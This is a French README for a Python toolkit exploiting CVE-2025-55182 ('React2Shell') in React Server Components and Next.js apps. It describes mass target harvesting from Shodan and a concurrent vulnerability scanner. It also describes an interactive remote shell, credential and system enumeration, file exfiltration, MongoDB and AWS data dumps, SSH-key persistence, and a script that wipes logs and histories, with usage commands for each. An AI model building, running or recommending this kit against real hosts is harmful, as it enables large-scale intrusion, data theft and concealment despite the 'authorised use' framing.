
Boîte à outils pour CVE-2025-55182, également connu sous le nom de React2Shell.
Un kit Python pour valider et examiner CVE-2025-55182, également connu sous le nom de React2Shell, dans des environnements autorisés. La vulnérabilité affecte React Server Components et peut exposer les applications construites avec des frameworks tels que Next.js à une exécution de code à distance non authentifiée. Le kit combine collecte de cibles, validation en masse, shell de test interactif, énumération d’hôtes et utilitaires de post-validation facultatifs.
hosts_scanner.py exécute uniquement un marqueur
fixe echo VULN_TEST lors de la détection en masseCe dépôt est une aide à l’évaluation, pas un substitut à la consultation de l’avis officiel et à l’application des correctifs du fournisseur.
| Outil | Objectif | Sortie ou effet |
|---|---|---|
shodan_parser.py | Ouvre des recherches Shodan authentifiées à partir d’une liste de requêtes et collecte des origines HTTP(S) normalisées. | Ajoute les hôtes uniques à files/targets.txt. |
hosts_scanner.py | Vérifie simultanément une liste de cibles avec une commande fixe VULN_TEST. | Écrit les cibles confirmées dans files/vulnerable.txt et les cibles non concluantes dans files/trash.txt. |
exploit.py | Revalide une cible et fournit une session de commande interactive. | Affiche la sortie des commandes distantes dans le terminal. |
universal_scanner.py | Collecte des informations sur le système, le conteneur, le réseau, le système de fichiers, les processus, l’exposition d’identifiants et les risques de privilèges. | Enregistre les résultats détaillés dans scan_results.json. |
infrastructure/universal_download.py | Transfère un fichier distant via le canal de commande en morceaux Base64 reprisables. | Crée ou reprend un fichier local et vérifie sa taille. |
infrastructure/mongo_proxy.py | Utilise l’hôte validé comme passerelle réseau pour l’inventaire MongoDB et un échantillonnage limité. | Liste les bases de données, les collections, les comptages et un petit échantillon. |
infrastructure/mongo_dump.py | Exporte une base de données MongoDB ou toutes les bases non système avec une limite par collection. | Crée un fichier JSON sous /tmp sur l’hôte évalué. |
infrastructure/aws_dump.py | Inventorie les ressources AWS disponibles pour un rôle de tâche ECS. | Crée un fichier JSON sous /tmp ; peut inclure des valeurs sensibles. |
infrastructure/install_ssh_key.py | Ajoute une clé publique aux authorized_keys de l’utilisateur distant actuel. | Modifie la configuration SSH distante et établit une persistance. |
infrastructure/trace_cleaner.py | Supprime les artefacts du kit et tente d’effacer les historiques, caches et journaux. | Modifie destructivement les fichiers distants ; à utiliser uniquement lors d’un exercice de nettoyage approuvé. |
Les outils dépendants de la RCE s’attendent à une cible de type Linux avec les utilitaires shell courants. Certains utilitaires d’infrastructure exigent en outre que Node.js et les paquets npm correspondants soient déjà disponibles sur l’hôte évalué.
shodan_parser.pypython -m venv .venv
Activez l’environnement :
# Linux or macOS
source .venv/bin/activate
# Windows PowerShell
.\.venv\Scripts\Activate.ps1
Installez les dépendances :
python -m pip install -r requirements.txt
python -m playwright install chromium
Pour la collecte Shodan, copiez .env.example vers .env et définissez LOGIN
et PASSWORD. Ne committez jamais .env.
files/queries.txt, ou placez
directement les cibles autorisées dans files/targets.txt.python shodan_parser.py.python hosts_scanner.py --file files/targets.txt --concurrency 50 --timeout 30
files/vulnerable.txt et vérifiez manuellement la propriété et le
périmètre avant d’exécuter tout utilitaire d’exécution de commande ou
d’infrastructure.Pour réinitialiser la liste d’exclusion du scanner :
python hosts_scanner.py --file files/targets.txt --clear-trash
python exploit.py https://target.example
python universal_scanner.py https://target.example
Utilitaires d’infrastructure :
python infrastructure/universal_download.py <TARGET> <REMOTE_PATH> [LOCAL_FILE] [CHUNK_SIZE]
python infrastructure/mongo_proxy.py <TARGET> <MONGODB_URI>
python infrastructure/mongo_dump.py <TARGET> <MONGODB_URI> <DATABASE|ALL> [OUTPUT_FILE] [LIMIT]
python infrastructure/aws_dump.py <TARGET> [OUTPUT_FILE]
python infrastructure/install_ssh_key.py <TARGET> [PUBLIC_KEY_PATH]
python infrastructure/trace_cleaner.py <TARGET>
Exécutez chaque script sans arguments pour voir son aide complète en ligne de commande.
bash, base64, dd et timeout.